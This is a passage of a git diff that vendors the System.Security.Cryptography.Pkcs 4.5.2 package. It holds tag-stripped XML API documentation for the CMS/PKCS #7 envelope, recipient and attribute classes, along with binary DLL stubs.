+ The object to remove from the collection. + attribute is null. + + + Copies the elements of this collection to an array, starting at a particular index. + The one-dimensional array that is the destination of the elements copied from this . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + + + + + + Returns an enumerator that iterates through the collection. + An object that can be used to iterate through the collection. + + + Provides enumeration functionality for the collection. This class cannot be inherited. + + + Gets the current object from the collection. + A object that represents the current cryptographic attribute in the collection. + + + Advances the enumeration to the next object in the collection. + true if the enumeration successfully moved to the next object; false if the enumerator is at the end of the enumeration. + + + Resets the enumeration to the first object in the collection. + + + Gets the current object from the collection. + A object that represents the current cryptographic attribute in the collection. + + + The class defines the algorithm used for a cryptographic operation. + + + The constructor creates an instance of the class by using a set of default parameters. + A cryptographic operation could not be completed. + + + The constructor creates an instance of the class with the specified algorithm identifier. + An object identifier for the algorithm. + A cryptographic operation could not be completed. + + + The constructor creates an instance of the class with the specified algorithm identifier and key length. + An object identifier for the algorithm. + The length, in bits, of the key. + A cryptographic operation could not be completed. + + + The property sets or retrieves the key length, in bits. This property is not used for algorithms that use a fixed key length. + An int value that represents the key length, in bits. + + + The property sets or retrieves the object that specifies the object identifier for the algorithm. + An object that represents the algorithm. + + + The class defines the recipient of a CMS/PKCS #7 message. + + + The constructor constructs an instance of the class by using the specified recipient certificate. + An object that represents the recipient certificate. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The constructor constructs an instance of the class by using the specified recipient identifier type and recipient certificate. + A member of the enumeration that specifies the type of the identifier of the recipient. + An object that represents the recipient certificate. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The property retrieves the certificate associated with the recipient. + An object that holds the certificate associated with the recipient. + + + The property retrieves the type of the identifier of the recipient. + A member of the enumeration that specifies the type of the identifier of the recipient. + + + The class represents a set of objects. implements the interface. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class and adds the specified recipient. + An instance of the class that represents the specified CMS/PKCS #7 recipient. + + + The constructor creates an instance of the class and adds recipients based on the specified subject identifier and set of certificates that identify the recipients. + A member of the enumeration that specifies the type of subject identifier. + An collection that contains the certificates that identify the recipients. + + + The method adds a recipient to the collection. + A object that represents the recipient to add to the collection. + If the method succeeds, the method returns an value that represents the zero-based position where the recipient is to be inserted. + If the method fails, it throws an exception. + recipient is null. + + + The method copies the collection to an array. + An object to which the collection is to be copied. + The zero-based index in array where the collection is copied. + +array is not large enough to hold the specified elements. + +-or- + +array does not contain the proper number of dimensions. + array is null. + index is outside the range of elements in array. + + + The method copies the collection to a array. + An array of objects where the collection is to be copied. + The zero-based index for the array of objects in array to which the collection is copied. + +array is not large enough to hold the specified elements. + +-or- + +array does not contain the proper number of dimensions. + array is null. + index is outside the range of elements in array. + + + The property retrieves the number of items in the collection. + An value that represents the number of items in the collection. + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The property retrieves the object at the specified index in the collection. + An value that represents the index in the collection. The index is zero based. + A object at the specified index. + The value of an argument was outside the allowable range of values as defined by the called method. + + + The method removes a recipient from the collection. + A object that represents the recipient to remove from the collection. + recipient is null. + + + + + + + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The class provides enumeration functionality for the collection. implements the interface. + + + The property retrieves the current object from the collection. + A object that represents the current recipient in the collection. + + + The method advances the enumeration to the next object in the collection. + true if the enumeration successfully moved to the next object; false if the enumeration moved past the last item in the enumeration. + + + The method resets the enumeration to the first object in the collection. + + + The property retrieves the current object from the collection. + A object that represents the current recipient in the collection. + + + The class represents the CMS/PKCS #7 ContentInfo data structure as defined in the CMS/PKCS #7 standards document. This data structure is the basis for all CMS/PKCS #7 messages. + + + The constructor creates an instance of the class by using an array of byte values as the data and a default object identifier (OID) that represents the content type. + An array of byte values that represents the data from which to create the object. + A null reference was passed to a method that does not accept it as a valid argument. + + + The constructor creates an instance of the class by using the specified content type and an array of byte values as the data. + An object that contains an object identifier (OID) that specifies the content type of the content. This can be data, digestedData, encryptedData, envelopedData, hashedData, signedAndEnvelopedData, or signedData. For more information, see Remarks. + An array of byte values that represents the data from which to create the object. + A null reference was passed to a method that does not accept it as a valid argument. + + + The property retrieves the content of the CMS/PKCS #7 message. + An array of byte values that represents the content data. + + + The property retrieves the object that contains the object identifier (OID) of the content type of the inner content of the CMS/PKCS #7 message. + An object that contains the OID value that represents the content type. + + + The static method retrieves the outer content type of the encoded message represented by an array of byte values. + An array of byte values that represents the encoded message from which to retrieve the outer content type. + If the method succeeds, the method returns an object that contains the outer content type of the specified encoded message. + If the method fails, it throws an exception. + A null reference was passed to a method that does not accept it as a valid argument. + An error occurred during a cryptographic operation. + + + The class represents a CMS/PKCS #7 structure for enveloped data. + + + The constructor creates an instance of the class. + A null reference was passed to a method that does not accept it as a valid argument. + + + The constructor creates an instance of the class by using the specified content information as the inner content type. + An instance of the class that represents the content and its type. + A null reference was passed to a method that does not accept it as a valid argument. + + + The constructor creates an instance of the class by using the specified content information and encryption algorithm. The specified content information is to be used as the inner content type. + A object that represents the content and its type. + An object that specifies the encryption algorithm. + A null reference was passed to a method that does not accept it as a valid argument. + + + The property retrieves the set of certificates associated with the enveloped CMS/PKCS #7 message. + An collection that represents the X.509 certificates used with the enveloped CMS/PKCS #7 message. If no certificates exist, the property value is an empty collection. + + + The property retrieves the identifier of the algorithm used to encrypt the content. + An object that represents the algorithm identifier. + + + The property retrieves the inner content information for the enveloped CMS/PKCS #7 message. + A object that represents the inner content information from the enveloped CMS/PKCS #7 message. + + + The method decodes the specified enveloped CMS/PKCS #7 message and resets all member variables in the object. + An array of byte values that represent the information to be decoded. + A null reference was passed to a method that does not accept it as a valid argument. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information and by using the specified certificate collection. The method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption. + A object that represents the recipient information to use for the decryption. + An collection that represents additional certificates to use for the decryption. The method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the specified certificate collection. The method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption. + An collection that represents additional certificates to use for the decryption. The method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message. The method searches the current user and computer My stores for the appropriate certificate and private key. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information. + A object that represents the recipient information that identifies the certificate associated with the private key to use for the decryption. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method encodes the contents of the enveloped CMS/PKCS #7 message and returns it as an array of byte values. Encryption must be done before encoding. + If the method succeeds, the method returns an array of byte values that represent the encoded information. + If the method fails, it throws an exception. + A method call was invalid for the object&#39;s current state. + + + The method encrypts the contents of the CMS/PKCS #7 message by using the specified recipient information. + A object that represents the recipient information. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The method encrypts the contents of the CMS/PKCS #7 message by using the information for the specified list of recipients. The message is encrypted by using a message encryption key with a symmetric encryption algorithm such as triple DES. The message encryption key is then encrypted with the public key of each recipient. + A collection that represents the information for the list of recipients. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The property retrieves the recipient information associated with the enveloped CMS/PKCS #7 message. + A collection that represents the recipient information. If no recipients exist, the property value is an empty collection. + + + The property retrieves the unprotected (unencrypted) attributes associated with the enveloped CMS/PKCS #7 message. Unprotected attributes are not encrypted, and so do not have data confidentiality within an object. + A collection that represents the unprotected attributes. If no unprotected attributes exist, the property value is an empty collection. + + + The property retrieves the version of the enveloped CMS/PKCS #7 message. + An int value that represents the version of the enveloped CMS/PKCS #7 message. + + + The class defines key agreement recipient information. Key agreement algorithms typically use the Diffie-Hellman key agreement algorithm, in which the two parties that establish a shared cryptographic key both take part in its generation and, by definition, agree on that key. This is in contrast to key transport algorithms, in which one party generates the key unilaterally and sends, or transports it, to the other party. + + + The property retrieves the date and time of the start of the key agreement protocol by the originator. + The date and time of the start of the key agreement protocol by the originator. + The recipient identifier type is not a subject key identifier. + + + The property retrieves the encrypted recipient keying material. + An array of byte values that contain the encrypted recipient keying material. + + + The property retrieves the algorithm used to perform the key agreement. + The value of the algorithm used to perform the key agreement. + + + The property retrieves information about the originator of the key agreement for key agreement algorithms that warrant it. + An object that contains information about the originator of the key agreement. + + + The property retrieves attributes of the keying material. + The attributes of the keying material. + The recipient identifier type is not a subject key identifier. + + + The property retrieves the identifier of the recipient. + The identifier of the recipient. + + + The property retrieves the version of the key agreement recipient. This is automatically set for objects in this class, and the value implies that the recipient is taking part in a key agreement algorithm. + The version of the object. + + + The class defines key transport recipient information. Key transport algorithms typically use the RSA algorithm, in which an originator establishes a shared cryptographic key with a recipient by generating that key and then transporting it to the recipient. This is in contrast to key agreement algorithms, in which the two parties that will be using a cryptographic key both take part in its generation, thereby mutually agreeing to that key. + + + The property retrieves the encrypted key for this key transport recipient. + An array of byte values that represents the encrypted key. + + + The property retrieves the key encryption algorithm used to encrypt the content encryption key. + An object that stores the key encryption algorithm identifier. + + + The property retrieves the subject identifier associated with the encrypted content. + A object that stores the identifier of the recipient taking part in the key transport. + + + The property retrieves the version of the key transport recipient. The version of the key transport recipient is automatically set for objects in this class, and the value implies that the recipient is taking part in a key transport algorithm. + An int value that represents the version of the key transport object. + + + Represents an attribute used for CMS/PKCS #7 and PKCS #9 operations. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class using a specified object as its attribute type and value. + An object that contains the PKCS #9 attribute type and value to use. + The length of the Value member of the Oid member of asnEncodedData is zero. + The Oid member of asnEncodedData is null. + -or- + The Value member of the Oid member of asnEncodedData is null. + + + Initializes a new instance of the class using a specified object as the attribute type and a specified ASN.1 encoded data as the attribute value. + An object that represents the PKCS #9 attribute type. + An array of byte values that represents the PKCS #9 attribute value. + + + Initializes a new instance of the class using a specified string representation of an object identifier (OID) as the attribute type and a specified ASN.1 encoded data as the attribute value. + The string representation of an OID that represents the PKCS #9 attribute type. + An array of byte values that contains the PKCS #9 attribute value. + + + Copies a PKCS #9 attribute type and value for this from the specified object. + An object that contains the PKCS #9 attribute type and value to use. + asnEncodeData does not represent a compatible attribute type. + asnEncodedData is null. + + + Gets an object that represents the type of attribute associated with this object. + An object that represents the type of attribute associated with this object. + + + The class defines the type of the content of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + The property gets an object that contains the content type. + An object that contains the content type. + + + Copies information from an object. + The object from which to copy information. + + + The class defines the description of the content of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class by using the specified array of byte values as the encoded description of the content of a CMS/PKCS #7 message. + An array of byte values that specifies the encoded description of the CMS/PKCS #7 message. + + + The constructor creates an instance of the class by using the specified description of the content of a CMS/PKCS #7 message. + An instance of the class that specifies the description for the CMS/PKCS #7 message. + + + Copies information from an object. + The object from which to copy information. + + + The property retrieves the document description. + A object that contains the document description. + + + The class defines the name of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class by using the specified array of byte values as the encoded name of the content of a CMS/PKCS #7 message. + An array of byte values that specifies the encoded name of the CMS/PKCS #7 message. + + + The constructor creates an instance of the class by using the specified name for the CMS/PKCS #7 message. + A object that specifies the name for the CMS/PKCS #7 message. + + + Copies information from an object. + The object from which to copy information. + + + The property retrieves the document name. + A object that contains the document name. + + + The class defines the message digest of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + Copies information from an object. + The object from which to copy information. + + + The property retrieves the message digest. + An array of byte values that contains the message digest. + + + The class defines the signing date and time of a signature. A object can be used as an authenticated attribute of a object when an authenticated date and time are to accompany a digital signature. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class by using the specified array of byte values as the encoded signing date and time of the content of a CMS/PKCS #7 message. + An array of byte values that specifies the encoded signing date and time of the CMS/PKCS #7 message. + + + The constructor creates an instance of the class by using the specified signing date and time. + A structure that represents the signing date and time of the signature. + + + Copies information from a object. + The object from which to copy information. + + + The property retrieves a structure that represents the date and time that the message was signed. + A structure that contains the date and time the document was signed. + + + The class represents information associated with a public key. + + + The property retrieves the algorithm identifier associated with the public key. + An object that represents the algorithm. + + + The property retrieves the value of the encoded public component of the public key pair. + An array of byte values that represents the encoded public component of the public key pair. + + + The class represents information about a CMS/PKCS #7 message recipient. The class is an abstract class inherited by the and classes. + + + The abstract property retrieves the encrypted recipient keying material. + An array of byte values that contain the encrypted recipient keying material. + + + The abstract property retrieves the algorithm used to perform the key establishment. + An object that contains the value of the algorithm used to establish the key between the originator and recipient of the CMS/PKCS #7 message. + + + The abstract property retrieves the identifier of the recipient. + A object that contains the identifier of the recipient. + + + The property retrieves the type of the recipient. The type of the recipient determines which of two major protocols is used to establish a key between the originator and the recipient of a CMS/PKCS #7 message. + A value of the enumeration that defines the type of the recipient. + + + The abstract property retrieves the version of the recipient information. Derived classes automatically set this property for their objects, and the value indicates whether it is using PKCS #7 or Cryptographic Message Syntax (CMS) to protect messages. The version also implies whether the object establishes a cryptographic key by a key agreement algorithm or a key transport algorithm. + An value that represents the version of the object. + + + The class represents a collection of objects. implements the interface. + + + The method copies the collection to an array. + An object to which the collection is to be copied. + The zero-based index in array where the collection is copied. + One of the arguments provided to a method was not valid. + A null reference was passed to a method that does not accept it as a valid argument. + The value of an argument was outside the allowable range of values as defined by the called method. + + + The method copies the collection to a array. + An array of objects where the collection is to be copied. + The zero-based index in array where the collection is copied. + One of the arguments provided to a method was not valid. + A null reference was passed to a method that does not accept it as a valid argument. + The value of an argument was outside the allowable range of values as defined by the called method. + + + The property retrieves the number of items in the collection. + An int value that represents the number of items in the collection. + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The property retrieves the object at the specified index in the collection. + An int value that represents the index in the collection. The index is zero based. + A object at the specified index. + The value of an argument was outside the allowable range of values as defined by the called method. + + + + + + + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The class provides enumeration functionality for the collection. implements the interface. + + + The property retrieves the current object from the collection. + A object that represents the current recipient information structure in the collection. + + + The method advances the enumeration to the next object in the collection. + This method returns a bool that specifies whether the enumeration successfully advanced. If the enumeration successfully moved to the next object, the method returns true. If the enumeration moved past the last item in the enumeration, it returns false. + + + The method resets the enumeration to the first object in the collection. + + + The property retrieves the current object from the collection. + A object that represents the current recipient information structure in the collection. + + + The enumeration defines the types of recipient information. + + + Key agreement recipient information. + + + + Key transport recipient information. + + + + The recipient information type is unknown. + + + + The class defines the type of the identifier of a subject, such as a or a . The subject can be identified by the certificate issuer and serial number or the subject key. + + + The property retrieves the type of subject identifier. The subject can be identified by the certificate issuer and serial number or the subject key. + A member of the enumeration that identifies the type of subject. + + + The property retrieves the value of the subject identifier. Use the property to determine the type of subject identifier, and use the property to retrieve the corresponding value. + An object that represents the value of the subject identifier. This can be one of the following objects as determined by the property. + property + + Object + + IssuerAndSerialNumber + + SubjectKeyIdentifier + + + + + The class defines the type of the identifier of a subject, such as a or a . The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key. + + + The property retrieves the type of subject identifier or key. The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key. + A member of the enumeration that specifies the type of subject identifier. + + + The property retrieves the value of the subject identifier or key. Use the property to determine the type of subject identifier or key, and use the property to retrieve the corresponding value. + An object that represents the value of the subject identifier or key. This can be one of the following objects as determined by the property. + property + + Object + + IssuerAndSerialNumber + + SubjectKeyIdentifier + + PublicKeyInfo + + + + + The enumeration defines how a subject is identified. + + + The subject is identified by the certificate issuer and serial number. + + + + The subject is identified by the public key. + + + + The subject is identified by the hash of the subject key. + + + + The type is unknown. + + + + The enumeration defines the type of subject identifier. + + + The subject is identified by the certificate issuer and serial number. + + + + The subject is identified as taking part in an integrity check operation that uses only a hashing algorithm. + + + + The subject is identified by the hash of the subject&#39;s public key. The hash algorithm used is determined by the signature algorithm suite in the subject&#39;s certificate. + + + + The type of subject identifier is unknown. + + + + Represents the &lt;X509IssuerSerial&gt; element of an XML digital signature. + + + Gets or sets an X.509 certificate issuer&#39;s distinguished name. + An X.509 certificate issuer&#39;s distinguished name. + + + Gets or sets an X.509 certificate issuer&#39;s serial number. + An X.509 certificate issuer&#39;s serial number. + + + \ No newline at end of file diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netstandard1.3/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netstandard1.3/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..287a0ba Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netstandard1.3/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netstandard2.0/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netstandard2.0/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..1e0f562 Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netstandard2.0/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netstandard2.0/System.Security.Cryptography.Pkcs.xml b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netstandard2.0/System.Security.Cryptography.Pkcs.xml new file mode 100644 index 0000000..775c8a4 --- /dev/null +++ b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netstandard2.0/System.Security.Cryptography.Pkcs.xml @@ -0,0 +1,760 @@ + + + System.Security.Cryptography.Pkcs + + + + Contains a type and a collection of values associated with that type. + + + Initializes a new instance of the class using an attribute represented by the specified object. + The attribute to store in this object. + + + Initializes a new instance of the class using an attribute represented by the specified object and the set of values associated with that attribute represented by the specified collection. + The attribute to store in this object. + The set of values associated with the attribute represented by the oid parameter. + The collection contains duplicate items. + + + Gets the object that specifies the object identifier for the attribute. + The object identifier for the attribute. + + + Gets the collection that contains the set of values that are associated with the attribute. + The set of values that is associated with the attribute. + + + Contains a set of objects. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class, adding a specified to the collection. + A object that is added to the collection. + + + Adds the specified object to the collection. + The object to add to the collection. + true if the method returns the zero-based index of the added item; otherwise, false. + asnEncodedData is null. + A cryptographic operation could not be completed. + + + Adds the specified object to the collection. + The object to add to the collection. + true if the method returns the zero-based index of the added item; otherwise, false. + asnEncodedData is null. + A cryptographic operation could not be completed. + The specified item already exists in the collection. + + + Copies the collection to an array of objects. + An array of objects that the collection is copied to. + The zero-based index in array to which the collection is to be copied. + One of the arguments provided to a method was not valid. + null was passed to a method that does not accept it as a valid argument. + The value of an argument was outside the allowable range of values as defined by the called method. + + + Gets the number of items in the collection. + The number of items in the collection. + + + Gets a object for the collection. + true if the method returns a object that can be used to enumerate the collection; otherwise, false. + + + Gets the object at the specified index in the collection. + An value that represents the zero-based index of the object to retrieve. + The object at the specified index. + + + Removes the specified object from the collection. + The object to remove from the collection. + attribute is null. + + + Copies the elements of this collection to an array, starting at a particular index. + The one-dimensional array that is the destination of the elements copied from this . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + + + + + + Returns an enumerator that iterates through the collection. + An object that can be used to iterate through the collection. + + + Provides enumeration functionality for the collection. This class cannot be inherited. + + + Gets the current object from the collection. + A object that represents the current cryptographic attribute in the collection. + + + Advances the enumeration to the next object in the collection. + true if the enumeration successfully moved to the next object; false if the enumerator is at the end of the enumeration. + + + Resets the enumeration to the first object in the collection. + + + Gets the current object from the collection. + A object that represents the current cryptographic attribute in the collection. + + + The class defines the algorithm used for a cryptographic operation. + + + The constructor creates an instance of the class by using a set of default parameters. + A cryptographic operation could not be completed. + + + The constructor creates an instance of the class with the specified algorithm identifier. + An object identifier for the algorithm. + A cryptographic operation could not be completed. + + + The constructor creates an instance of the class with the specified algorithm identifier and key length. + An object identifier for the algorithm. + The length, in bits, of the key. + A cryptographic operation could not be completed. + + + The property sets or retrieves the key length, in bits. This property is not used for algorithms that use a fixed key length. + An int value that represents the key length, in bits. + + + The property sets or retrieves the object that specifies the object identifier for the algorithm. + An object that represents the algorithm. + + + The class defines the recipient of a CMS/PKCS #7 message. + + + The constructor constructs an instance of the class by using the specified recipient certificate. + An object that represents the recipient certificate. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The constructor constructs an instance of the class by using the specified recipient identifier type and recipient certificate. + A member of the enumeration that specifies the type of the identifier of the recipient. + An object that represents the recipient certificate. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The property retrieves the certificate associated with the recipient. + An object that holds the certificate associated with the recipient. + + + The property retrieves the type of the identifier of the recipient. + A member of the enumeration that specifies the type of the identifier of the recipient. + + + The class represents a set of objects. implements the interface. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class and adds the specified recipient. + An instance of the class that represents the specified CMS/PKCS #7 recipient. + + + The constructor creates an instance of the class and adds recipients based on the specified subject identifier and set of certificates that identify the recipients. + A member of the enumeration that specifies the type of subject identifier. + An collection that contains the certificates that identify the recipients. + + + The method adds a recipient to the collection. + A object that represents the recipient to add to the collection. + If the method succeeds, the method returns an value that represents the zero-based position where the recipient is to be inserted. + If the method fails, it throws an exception. + recipient is null. + + + The method copies the collection to an array. + An object to which the collection is to be copied. + The zero-based index in array where the collection is copied. + +array is not large enough to hold the specified elements. + +-or- + +array does not contain the proper number of dimensions. + array is null. + index is outside the range of elements in array. + + + The method copies the collection to a array. + An array of objects where the collection is to be copied. + The zero-based index for the array of objects in array to which the collection is copied. + +array is not large enough to hold the specified elements. + +-or- + +array does not contain the proper number of dimensions. + array is null. + index is outside the range of elements in array. + + + The property retrieves the number of items in the collection. + An value that represents the number of items in the collection. + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The property retrieves the object at the specified index in the collection. + An value that represents the index in the collection. The index is zero based. + A object at the specified index. + The value of an argument was outside the allowable range of values as defined by the called method. + + + The method removes a recipient from the collection. + A object that represents the recipient to remove from the collection. + recipient is null. + + + + + + + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The class provides enumeration functionality for the collection. implements the interface. + + + The property retrieves the current object from the collection. + A object that represents the current recipient in the collection. + + + The method advances the enumeration to the next object in the collection. + true if the enumeration successfully moved to the next object; false if the enumeration moved past the last item in the enumeration. + + + The method resets the enumeration to the first object in the collection. + + + The property retrieves the current object from the collection. + A object that represents the current recipient in the collection. + + + The class represents the CMS/PKCS #7 ContentInfo data structure as defined in the CMS/PKCS #7 standards document. This data structure is the basis for all CMS/PKCS #7 messages. + + + The constructor creates an instance of the class by using an array of byte values as the data and a default object identifier (OID) that represents the content type. + An array of byte values that represents the data from which to create the object. + A null reference was passed to a method that does not accept it as a valid argument. + + + The constructor creates an instance of the class by using the specified content type and an array of byte values as the data. + An object that contains an object identifier (OID) that specifies the content type of the content. This can be data, digestedData, encryptedData, envelopedData, hashedData, signedAndEnvelopedData, or signedData. For more information, see Remarks. + An array of byte values that represents the data from which to create the object. + A null reference was passed to a method that does not accept it as a valid argument. + + + The property retrieves the content of the CMS/PKCS #7 message. + An array of byte values that represents the content data. + + + The property retrieves the object that contains the object identifier (OID) of the content type of the inner content of the CMS/PKCS #7 message. + An object that contains the OID value that represents the content type. + + + The static method retrieves the outer content type of the encoded message represented by an array of byte values. + An array of byte values that represents the encoded message from which to retrieve the outer content type. + If the method succeeds, the method returns an object that contains the outer content type of the specified encoded message. + If the method fails, it throws an exception. + A null reference was passed to a method that does not accept it as a valid argument. + An error occurred during a cryptographic operation. + + + The class represents a CMS/PKCS #7 structure for enveloped data. + + + The constructor creates an instance of the class. + A null reference was passed to a method that does not accept it as a valid argument. + + + The constructor creates an instance of the class by using the specified content information as the inner content type. + An instance of the class that represents the content and its type. + A null reference was passed to a method that does not accept it as a valid argument. + + + The constructor creates an instance of the class by using the specified content information and encryption algorithm. The specified content information is to be used as the inner content type. + A object that represents the content and its type. + An object that specifies the encryption algorithm. + A null reference was passed to a method that does not accept it as a valid argument. + + + The property retrieves the set of certificates associated with the enveloped CMS/PKCS #7 message. + An collection that represents the X.509 certificates used with the enveloped CMS/PKCS #7 message. If no certificates exist, the property value is an empty collection. + + + The property retrieves the identifier of the algorithm used to encrypt the content. + An object that represents the algorithm identifier. + + + The property retrieves the inner content information for the enveloped CMS/PKCS #7 message. + A object that represents the inner content information from the enveloped CMS/PKCS #7 message. + + + The method decodes the specified enveloped CMS/PKCS #7 message and resets all member variables in the object. + An array of byte values that represent the information to be decoded. + A null reference was passed to a method that does not accept it as a valid argument. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information and by using the specified certificate collection. The method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption. + A object that represents the recipient information to use for the decryption. + An collection that represents additional certificates to use for the decryption. The method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the specified certificate collection. The method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption. + An collection that represents additional certificates to use for the decryption. The method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message. The method searches the current user and computer My stores for the appropriate certificate and private key. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information. + A object that represents the recipient information that identifies the certificate associated with the private key to use for the decryption. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method encodes the contents of the enveloped CMS/PKCS #7 message and returns it as an array of byte values. Encryption must be done before encoding. + If the method succeeds, the method returns an array of byte values that represent the encoded information. + If the method fails, it throws an exception. + A method call was invalid for the object&#39;s current state. + + + The method encrypts the contents of the CMS/PKCS #7 message by using the specified recipient information. + A object that represents the recipient information. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The method encrypts the contents of the CMS/PKCS #7 message by using the information for the specified list of recipients. The message is encrypted by using a message encryption key with a symmetric encryption algorithm such as triple DES. The message encryption key is then encrypted with the public key of each recipient. + A collection that represents the information for the list of recipients. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The property retrieves the recipient information associated with the enveloped CMS/PKCS #7 message. + A collection that represents the recipient information. If no recipients exist, the property value is an empty collection. + + + The property retrieves the unprotected (unencrypted) attributes associated with the enveloped CMS/PKCS #7 message. Unprotected attributes are not encrypted, and so do not have data confidentiality within an object. + A collection that represents the unprotected attributes. If no unprotected attributes exist, the property value is an empty collection. + + + The property retrieves the version of the enveloped CMS/PKCS #7 message. + An int value that represents the version of the enveloped CMS/PKCS #7 message. + + + The class defines key agreement recipient information. Key agreement algorithms typically use the Diffie-Hellman key agreement algorithm, in which the two parties that establish a shared cryptographic key both take part in its generation and, by definition, agree on that key. This is in contrast to key transport algorithms, in which one party generates the key unilaterally and sends, or transports it, to the other party. + + + The property retrieves the date and time of the start of the key agreement protocol by the originator. + The date and time of the start of the key agreement protocol by the originator. + The recipient identifier type is not a subject key identifier. + + + The property retrieves the encrypted recipient keying material. + An array of byte values that contain the encrypted recipient keying material. + + + The property retrieves the algorithm used to perform the key agreement. + The value of the algorithm used to perform the key agreement. + + + The property retrieves information about the originator of the key agreement for key agreement algorithms that warrant it. + An object that contains information about the originator of the key agreement. + + + The property retrieves attributes of the keying material. + The attributes of the keying material. + The recipient identifier type is not a subject key identifier. + + + The property retrieves the identifier of the recipient. + The identifier of the recipient. + + + The property retrieves the version of the key agreement recipient. This is automatically set for objects in this class, and the value implies that the recipient is taking part in a key agreement algorithm. + The version of the object. + + + The class defines key transport recipient information. Key transport algorithms typically use the RSA algorithm, in which an originator establishes a shared cryptographic key with a recipient by generating that key and then transporting it to the recipient. This is in contrast to key agreement algorithms, in which the two parties that will be using a cryptographic key both take part in its generation, thereby mutually agreeing to that key. + + + The property retrieves the encrypted key for this key transport recipient. + An array of byte values that represents the encrypted key. + + + The property retrieves the key encryption algorithm used to encrypt the content encryption key. + An object that stores the key encryption algorithm identifier. + + + The property retrieves the subject identifier associated with the encrypted content. + A object that stores the identifier of the recipient taking part in the key transport. + + + The property retrieves the version of the key transport recipient. The version of the key transport recipient is automatically set for objects in this class, and the value implies that the recipient is taking part in a key transport algorithm. + An int value that represents the version of the key transport object. + + + Represents an attribute used for CMS/PKCS #7 and PKCS #9 operations. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class using a specified object as its attribute type and value. + An object that contains the PKCS #9 attribute type and value to use. + The length of the Value member of the Oid member of asnEncodedData is zero. + The Oid member of asnEncodedData is null. + -or- + The Value member of the Oid member of asnEncodedData is null. + + + Initializes a new instance of the class using a specified object as the attribute type and a specified ASN.1 encoded data as the attribute value. + An object that represents the PKCS #9 attribute type. + An array of byte values that represents the PKCS #9 attribute value. + + + Initializes a new instance of the class using a specified string representation of an object identifier (OID) as the attribute type and a specified ASN.1 